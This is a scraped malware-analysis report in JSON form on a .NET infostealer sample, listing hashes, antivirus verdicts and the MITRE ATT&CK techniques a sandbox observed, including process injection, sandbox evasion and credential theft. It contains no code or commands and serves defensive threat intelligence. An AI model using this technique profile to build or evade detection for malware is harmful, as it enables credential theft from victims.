Wrote 19 instructions to a remote process Wrote 22 instructions to a remote process Wrote 54 instructions to a remote process Wrote 40 instructions to a remote process Wrote 3 instructions to a remote process Wrote 11 instructions to a remote process Wrote 154 instructions to a remote process Wrote 56 instructions to a remote process Wrote 39 instructions to a remote process Wrote 8 instructions to a remote process Wrote 14 instructions to a remote process Wrote 244 instructions to a remote process Wrote 41 instructions to a remote process Wrote 1029 instructions to a remote process Wrote 31 instructions to a remote process Wrote 6 instructions to a remote process Wrote 9 instructions to a remote process Wrote 132 instructions to a remote process Wrote 26 instructions to a remote process Wrote 18 instructions to a remote process Wrote 13 instructions to a remote process Wrote 5 instructions to a remote process Wrote 28 instructions to a remote process Wrote 33 instructions to a remote process Wrote 20 instructions to a remote process Wrote 44 instructions to a remote process Wrote 145 instructions to a remote process Wrote 24 instructions to a remote process Wrote 182 instructions to a remote process Wrote 110 instructions to a remote process Wrote 50 instructions to a remote process Wrote 45 instructions to a remote process1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790895424696,"unified_at":"2026-10-01T22:57:04.696Z","metadata":{"hashes":{"sha256":"1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c","sha1":"0ab6b31b69b7964de2e9639169d036c68f9efd76","md5":"8b0b12811b60a92a72b636a46fadb0ba","sha512":"abf908cb7505acd792aa1d9a346ec1b635f5c078ad2104b5d5a0678cc54e216a843fbacba25ebff6a7baed6a6463ee8fc433ff1c71178775366b7f4aade1227a","ssdeep":"12288:dHROWCWIpXQ6dvhXe+iGaXImXN18/7LV+z+0EO:ludvbwX4/7LV/0t","ssdeep_chunks":["12288:dHROWCW","12288:HROWCWI","12288:ROWCWIp","12288:OWCWIpX","12288:WCWIpXQ","12288:CWIpXQ6","12288:WIpXQ6d","12288:IpXQ6dv","12288:pXQ6dvh","12288:XQ6dvhX","12288:Q6dvhXe","12288:6dvhXe+","12288:dvhXe+i","12288:vhXe+iG","12288:hXe+iGa","12288:Xe+iGaX","12288:e+iGaXI","12288:+iGaXIm","12288:iGaXImX","12288:GaXImXN","12288:aXImXN1","12288:XImXN18","12288:ImXN18/","12288:mXN18/7","12288:XN18/7L","12288:N18/7LV","12288:18/7LV+","12288:8/7LV+z","12288:/7LV+z+","12288:7LV+z+0","12288:LV+z+0E","12288:V+z+0EO","24576:dHROWCW","24576:HROWCWI","24576:ROWCWIp","24576:OWCWIpX","24576:WCWIpXQ","24576:CWIpXQ6","24576:WIpXQ6d","24576:IpXQ6dv","24576:pXQ6dvh","24576:XQ6dvhX","24576:Q6dvhXe","24576:6dvhXe+","24576:dvhXe+i","24576:vhXe+iG","24576:hXe+iGa","24576:Xe+iGaX","24576:e+iGaXI","24576:+iGaXIm","24576:iGaXImX","24576:GaXImXN","24576:aXImXN1","24576:XImXN18","24576:ImXN18/","24576:mXN18/7","24576:XN18/7L","24576:N18/7LV","24576:18/7LV+","24576:8/7LV+z","24576:/7LV+z+","24576:7LV+z+0","24576:LV+z+0E","24576:V+z+0EO","12288:ludvbwX","12288:udvbwX4","12288:dvbwX4/","12288:vbwX4/7","12288:bwX4/7L","12288:wX4/7LV","12288:X4/7LV/","12288:4/7LV/0","12288:/7LV/0t"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"66f4247962974_vfdsgasd12.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":413224,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1727280930000,"last_seen":1786496179000,"last_multi_scan":1786496179000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","credentialharvesting","criminal","downloader","informationstealer","vidarstealer","evasive","infostealer"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":80},"sandbox_signatures":{"informative_count":197,"suspicious_count":20,"malicious_count":13,"total":230},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Injection","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.GenKryptik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Genie8DN.750","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Msilzilla-10036350-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Genie8DN.750 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/GenKryptik.HCHL trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Packed.dd!ni","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanSpy/MSIL.Stealer.vj!crit","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Unwanted-Program ( 700000201 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/MSIL-WA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"LummaSteal!8B0B12811B60","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.LOI.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL.HHL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.GenKryptik.Win32.977729","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Genie8DN.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Dotnet source code contains suspicious native API"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":".NET source code contains suspicious native API"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"malicious","value":"Writes shellcode to a remote process"},{"type":"suspicious","value":"Spawned processes are likely due to an injection"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Creates a system process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"},{"type":"suspicious","value":"section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Deletes file or directory"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","identifiers":[{"type":"suspicious","value":"Detected system process execution without parameters (likely process injection)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Able to load content into memory (.NET)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"The input sample possibly contains the RDTSCP instruction"},{"type":"informative","value":"The input sample contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current hardware profile (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"References to WMI query strings used for information discovery"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"},{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"66f437221374fb01c30250cd"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM 